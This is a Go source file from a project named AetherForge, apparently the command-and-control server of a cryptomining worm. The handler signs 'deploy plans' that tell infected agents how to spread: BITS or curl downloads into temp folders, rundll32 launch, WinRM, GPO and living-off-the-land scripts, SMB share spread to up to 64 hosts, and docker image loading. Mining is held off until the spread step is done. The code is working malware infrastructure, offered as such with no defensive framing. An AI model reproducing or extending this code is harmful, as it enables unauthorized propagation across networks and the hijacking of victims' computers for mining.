AetherForge/server/internal/api/deploy_plan.go

package api

import (
	"crypto/hmac"
	"crypto/sha256"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"os"
	"path/filepath"
	"strings"

	dbpkg "crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
)

// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
type StagingManifest struct {
	Method        string         `json:"method"`
	Chunks        []StagingChunk `json:"chunks"`
	SHA256        string         `json:"sha256"`
	Dest          string         `json:"dest"`
	Launch        string         `json:"launch"`
	DLLExport     string         `json:"dll_export,omitempty"`
	Encoded       bool           `json:"encoded"`
	DeferMining   bool           `json:"defer_mining,omitempty"`
	SpreadInstall bool           `json:"spread_install,omitempty"`
	PeerGroup     string         `json:"peer_group,omitempty"`
}

type StagingChunk struct {
	URL  string `json:"url"`
	File string `json:"file"`
}

// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
type DeployPlanBody struct {
	JoinLane      string           `json:"join_lane"`
	MatchedService string          `json:"matched_service,omitempty"`
	Action        string           `json:"action"`
	Manifest      *StagingManifest `json:"manifest,omitempty"`
	PeerGroup     string           `json:"peer_group,omitempty"`
	Script        string           `json:"script,omitempty"`
	UNCPath       string           `json:"unc_path,omitempty"`
	MaxHosts      int              `json:"max_hosts,omitempty"`
	ImageTarURL   string           `json:"image_tar_url,omitempty"`
	ImageTarSHA256 string          `json:"image_tar_sha256,omitempty"`
}

type deployPlanRequest struct {
	AgentID  string                 `json:"agent_id"`
	BuildID  string                 `json:"build_id,omitempty"`
	Campaign string                 `json:"campaign,omitempty"`
	Platform string                 `json:"platform"`
	Services []DeployServiceFinding `json:"services"`
	UNCPath  string                 `json:"unc_path,omitempty"`
}

type deployPlanResponse struct {
	OK             bool           `json:"ok"`
	Error          string         `json:"error,omitempty"`
	JoinLane       string         `json:"join_lane"`
	MatchedService string         `json:"matched_service,omitempty"`
	Plan           DeployPlanBody `json:"plan"`
	Signature      string         `json:"signature"`
}

// DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery.
type DeployPlanHandler struct {
	db          *dbpkg.Database
	dataDir     string
	projectRoot string
	publicURL   func() string
	fleetSecret func() string
	allowlist   func() map[string]ServiceDeployLane
}

func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
	return &DeployPlanHandler{
		db:          database,
		dataDir:     dataDir,
		projectRoot: projectRoot,
		publicURL:   publicURL,
		fleetSecret: fleetSecret,
		allowlist:   allowlist,
	}
}

// POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
	var req deployPlanRequest
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid JSON", http.StatusBadRequest)
		return
	}
	if len(req.Services) == 0 {
		http.Error(w, "services required", http.StatusBadRequest)
		return
	}

	list := map[string]ServiceDeployLane{}
	if h.allowlist != nil {
		list = h.allowlist()
	}
	matched, lane, ok := PickDeployLane(req.Services, list)
	if !ok {
		writeJSON(w, map[string]interface{}{
			"ok":      false,
			"error":   "no allowlisted running services matched",
			"checked": len(req.Services),
		})
		return
	}

	plan, err := h.buildPlan(req, matched, lane)
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	sig, err := signDeployPlan(plan, h.fleetSecret())
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}

	writeJSON(w, deployPlanResponse{
		OK:             true,
		JoinLane:       plan.JoinLane,
		MatchedService: matched,
		Plan:           plan,
		Signature:      sig,
	})
}

func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) {
	serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
	if serverURL == "" {
		serverURL = "http://127.0.0.1:8989"
	}

	body := DeployPlanBody{
		JoinLane:       lane.Lane,
		MatchedService: matched,
		Action:         lane.Lane,
	}

	switch lane.Lane {
	case "do_peer":
		manifest, err := h.buildDOPeerManifest(req, serverURL)
		if err != nil {
			return DeployPlanBody{}, err
		}
		body.Manifest = manifest
		body.PeerGroup = manifest.PeerGroup
	case "bits_curl":
		manifest, err := h.buildStagingManifest(req, serverURL)
		if err != nil {
			return DeployPlanBody{}, err
		}
		body.Manifest = manifest
	case "docker_load":
		manifest, err := h.buildStagingManifest(req, serverURL)
		if err != nil {
			return DeployPlanBody{}, err
		}
		body.Manifest = manifest
		body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID)
		if body.ImageTarURL != "" && req.BuildID != "" {
			if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" {
				body.ImageTarSHA256 = hash
			}
		}
	case "winrm", "gpo", "linux_lotl":
		tpl := strings.TrimSpace(lane.Template)
		if tpl == "" {
			tpl = lane.Lane
		}
		script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign)
		if err != nil {
			return DeployPlanBody{}, err
		}
		body.Script = script
	case "spread_smb_unc":
		body.UNCPath = strings.TrimSpace(req.UNCPath)
		body.MaxHosts = 64
	default:
		return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
	}
	return body, nil
}

// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
// then startMiningWhenReady() completes the mining onion (terminal goal).
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
	platform := strings.TrimSpace(req.Platform)
	if platform == "" {
		platform = "windows"
	}
	buildID := strings.TrimSpace(req.BuildID)
	build, err := h.resolveBuild(buildID, platform)
	if err != nil {
		return nil, err
	}
	hash, err := fileSHA256(build.FilePath)
	if err != nil {
		return nil, fmt.Errorf("build hash: %w", err)
	}

	_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
	downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
	peerGroup := "af-peer-" + hash[:8]
	if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
		peerGroup = "af-peer-" + sanitizeDeployToken(campaign)
	}

	dest := `%TEMP%\AetherForge\do-peer-worker.exe`
	launch := "exe"
	if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
		dest = `%TEMP%\AetherForge\do-peer-worker.dll`
		launch = "rundll32"
	}

	return &StagingManifest{
		Method:        "bits",
		Chunks:        []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
		SHA256:        hash,
		Dest:          dest,
		Launch:        launch,
		DLLExport:     "DllRegisterServer",
		DeferMining:   true,
		SpreadInstall: true,
		PeerGroup:     peerGroup,
	}, nil
}

func sanitizeDeployToken(s string) string {
	s = strings.ToLower(strings.TrimSpace(s))
	var b strings.Builder
	for _, r := range s {
		if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
			b.WriteRune(r)
		}
	}
	out := b.String()
	if out == "" {
		return "local"
	}
	if len(out) > 24 {
		return out[:24]
	}
	return out
}

func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
	platform := strings.TrimSpace(req.Platform)
	if platform == "" {
		platform = "windows"
	}
	buildID := strings.TrimSpace(req.BuildID)
	build, err := h.resolveBuild(buildID, platform)
	if err != nil {
		return nil, err
	}
	hash, err := fileSHA256(build.FilePath)
	if err != nil {
		return nil, fmt.Errorf("build hash: %w", err)
	}

	_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
	downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix

	method := "bits"
	if platform == "linux" || platform == "darwin" {
		method = "curl"
	}

	dest := `%TEMP%\AetherForge\worker.exe`
	if platform == "linux" {
		dest = "/tmp/aetherforge-worker"
	}

	return &StagingManifest{
		Method: method,
		Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
		SHA256: hash,
		Dest:   dest,
		Launch: "exe",
		DeferMining:   true,
		SpreadInstall: true,
	}, nil
}

func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) {
	if buildID != "" {
		b, err := h.db.GetBuild(buildID)
		if err != nil {
			return nil, err
		}
		return b, nil
	}
	b, err := h.db.GetLatestBuildForPlatform(platform)
	if err != nil {
		return nil, fmt.Errorf("no build for platform %q: %w", platform, err)
	}
	return b, nil
}

func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) {
	b, err := h.resolveBuild(buildID, platform)
	if err != nil {
		return "", err
	}
	return fileSHA256(b.FilePath)
}

func fileSHA256(path string) (string, error) {
	f, err := os.Open(path)
	if err != nil {
		return "", err
	}
	defer f.Close()
	h := sha256.New()
	if _, err := io.Copy(h, f); err != nil {
		return "", err
	}
	return hex.EncodeToString(h.Sum(nil)), nil
}

func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) {
	subdir, _, err := spreadTemplatePaths(template)
	if err != nil {
		return "", err
	}
	dir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
	entries, err := os.ReadDir(dir)
	if err != nil {
		return "", fmt.Errorf("template dir: %w", err)
	}
	var scriptFile string
	for _, e := range entries {
		if e.IsDir() {
			continue
		}
		name := e.Name()
		if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") {
			scriptFile = filepath.Join(dir, name)
			break
		}
	}
	if scriptFile == "" {
		return "", fmt.Errorf("no script in template %s", subdir)
	}
	data, err := os.ReadFile(scriptFile)
	if err != nil {
		return "", err
	}
	querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
	repl := map[string]string{
		"{{SERVER_URL}}":       serverURL,
		"{{BUILD_ID}}":         buildID,
		"{{CAMPAIGN}}":         campaign,
		"{{QUERY_SUFFIX}}":     querySuffix,
		"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
		"{{COM_HIJACK}}":       "false",
		"{{LOTL_MODE}}":        "systemd_run_user",
		"{{AGENT_PATH}}":       `C:\ProgramData\AetherForge\worker.exe`,
	}
	content := string(data)
	for k, v := range repl {
		content = strings.ReplaceAll(content, k, v)
	}
	return content, nil
}

func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) {
	if fleetSecret == "" {
		return "", fmt.Errorf("fleet secret not configured")
	}
	payload, err := json.Marshal(plan)
	if err != nil {
		return "", err
	}
	mac := hmac.New(sha256.New, []byte(fleetSecret))
	mac.Write(payload)
	return hex.EncodeToString(mac.Sum(nil)), nil
}

// VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2.
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
	if fleetSecret == "" || signature == "" {
		return false
	}
	payload, err := json.Marshal(plan)
	if err != nil {
		return false
	}
	mac := hmac.New(sha256.New, []byte(fleetSecret))
	mac.Write(payload)
	expected := hex.EncodeToString(mac.Sum(nil))
	return hmac.Equal([]byte(expected), []byte(signature))
}